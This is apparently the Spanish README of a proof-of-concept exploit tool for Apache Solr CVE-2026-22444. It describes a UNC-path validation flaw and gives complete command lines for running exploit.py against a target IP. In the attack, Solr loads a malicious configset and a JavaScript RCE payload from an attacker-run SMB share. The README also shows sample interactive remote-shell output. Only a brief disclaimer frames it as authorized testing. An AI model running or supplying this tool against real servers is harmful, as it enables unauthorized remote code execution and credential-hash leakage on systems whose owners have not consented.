
Exploit para Apache Solr CVE-2026-22444, que aprovecha la inyección de rutas UNC y el servidor SMB para lograr la ejecución remota de código mediante un configset malicioso y una carga útil de JavaScript.
Vulnerabilidad de Validación de Rutas UNC en Apache Solr
CVE-2026-22444 es una vulnerabilidad de seguridad que afecta a Apache Solr, divulgada públicamente alrededor del 20 de enero de 2026. La vulnerabilidad se origina por una validación insuficiente de entrada (CWE-20: Improper Input Validation) en ciertos parámetros de la API "create core" de Apache Solr, lo que permite a un atacante eludir las reglas de seguridad cuando Solr se ejecuta en modo "standalone", pudiendo provocar fuga de datos, ejecución remota de código (RCE) o divulgación de hashes NTLM.
Específicamente, si Solr no tiene habilitada la autenticación o el usuario tiene permisos para crear cores, un atacante puede abusar de esta API mediante solicitudes cuidadosamente construidas para acceder a archivos protegidos o ejecutar acciones maliciosas.
La vulnerabilidad fue descubierta y reportada a Apache en 2025, y divulgada públicamente en la lista de correo oss-security:
Anuncio oficial: https://www.openwall.com/lists/oss-security/2026/01/20/5
La vulnerabilidad existe en CoreContainer.java, donde el constructor de CoreDescriptor desencadena operaciones de red antes de realizar la validación de rutas UNC:
instancePath.toAbsolutePath() puede resolver rutas UNC a través de la redFiles.exists() realiza llamadas de redFiles.newInputStream() ejecuta lecturas de redassertPathAllowed() solo ocurre después de estas operacionesexploit.py - Script de explotación de prueba de conceptofiles/ - Archivos de soporte necesarios para la explotación (configset)
rce.js - Payload JavaScript de ejecución remota de códigoconf/ - Archivos de configuración de Solr
solrconfig.xml - Define la cadena de procesadores de actualización maliciosaschema.xml - Definición del schema de Solrmanaged-schema - Archivo de schema gestionadorequirements.txt - Dependencias de Pythonpip install -r requirements.txt
Las dependencias incluyen:
requests>=2.25.0 - Para solicitudes HTTPimpacket>=0.10.0 - Para crear el servidor SMBpython3 exploit.py <IP_objetivo>
Ejemplo:
python3 exploit.py 192.168.1.100
python3 exploit.py <IP_objetivo> --port <puerto>
Ejemplo:
python3 exploit.py 192.168.1.100 --port 8983
python3 exploit.py <IP_objetivo> --smb-host <IP_servidor_SMB> --smb-port <puerto_SMB>
Ejemplo:
python3 exploit.py 192.168.1.100 --smb-host 192.168.1.50 --smb-port 445
python3 exploit.py <IP_objetivo> --share-name <nombre_recurso>
Ejemplo:
python3 exploit.py 192.168.1.100 --share-name myshare
Argumentos posicionales:
target_host Dirección IP del servidor Solr objetivo
Argumentos opcionales:
-h, --help Muestra el mensaje de ayuda y sale
--port, -p PORT Puerto del servidor Solr (predeterminado: 8983)
--smb-host SMB_HOST IP del servidor SMB (predeterminado: detección automática de IP local)
--smb-port SMB_PORT Puerto del servidor SMB (predeterminado: 445)
--share-name SHARE Nombre del recurso compartido SMB (predeterminado: malicious)
filesTras una explotación exitosa, el script proporciona un shell interactivo:
solr> whoami
[+] exit_code: 0, status: success
--- stdout ---
desktop-abc123\user
solr> dir
[+] exit_code: 0, status: success
--- stdout ---
Volume in drive C has no label.
...
solr> exit
[*] exiting shell...
Comandos admitidos:
exit o quit - Salir del shell interactivoCtrl+C - Interrumpir y salirLa vulnerabilidad explota la siguiente cadena técnica:
configSet (por ejemplo, //ip-atacante/recurso)StatelessScriptUpdateProcessorFactory de Solr para ejecutar código JavaScriptpython3 exploit.py 192.168.35.31 \
--port 8983 \
--smb-host 192.168.35.50 \
--smb-port 445 \
--share-name exploit
CVE-2026-22444/
├── exploit.py # Script principal de explotación
├── requirements.txt # Dependencias de Python
├── files/ # Configset malicioso
│ ├── rce.js # Payload JavaScript de RCE
│ └── conf/ # Directorio de configuración de Solr
│ ├── solrconfig.xml # Configura el procesador de actualización malicioso
│ ├── schema.xml # Definición del schema
│ └── managed-schema # Schema gestionado
└── README.md # Este archivo
rce.js: Este es el payload principal de RCE, que:
cmd de los parámetros de la solicitudsolrconfig.xml: Configura Solr para usar la cadena de procesadores de actualización maliciosa:
rce-chainrce.js/update para usar esta cadena⚠️ Aviso: Esta herramienta es solo para pruebas de seguridad autorizadas y fines educativos. El uso no autorizado de esta herramienta para atacar sistemas es ilegal.